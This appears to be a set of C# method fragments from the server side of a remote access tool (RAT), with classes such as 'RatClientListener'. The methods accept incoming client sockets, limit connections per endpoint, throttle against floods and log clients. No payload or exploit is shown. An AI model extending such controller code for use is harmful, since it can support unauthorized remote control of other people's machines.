private void Form1_Load(object sender, EventArgs e) { //Events ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect); CheckForIllegalCrossThreadCalls = false; settings.MainForm = this; _listener = new List<RatClientListener>(); _FileListener = new List<FileClientListener>(); maxConnections = new MaxConnections(); File_maxConnections = new File_MaxConnections(); ClientPacketProcessor.Initialize(); FileClientPacketProcessor.Initialize(); }
private void OnClientAccept(IAsyncResult ar) { try { Socket acceptedSocket = _listener.EndAccept(ar); System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack if (File_MaxConnections.AcceptConnection(acceptedSocket.RemoteEndPoint)) { FileClientProcessor.Instance.ProcessClient(acceptedSocket); } else { acceptedSocket.Disconnect(false); acceptedSocket = null; } _listener.BeginAccept(OnClientAccept, null); } catch { /*An existing connection was forcibly closed by the remote host*/ } }
public void ProcessClient(Socket client) { //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack if (File_MaxConnections.AcceptConnection(client.RemoteEndPoint)) { int ID = _clientList.Count; FileClients c = new FileClients(client, NetworkKey); _clientList.Add(ID, c); c.DisconnectHandle = OnDisconnect; c.ClientID = ID; settings.ClientsConnected++; Logger.AddLog(new LogInfo("Incoming client", "Accepted")); } else { client.Disconnect(false); client = null; } }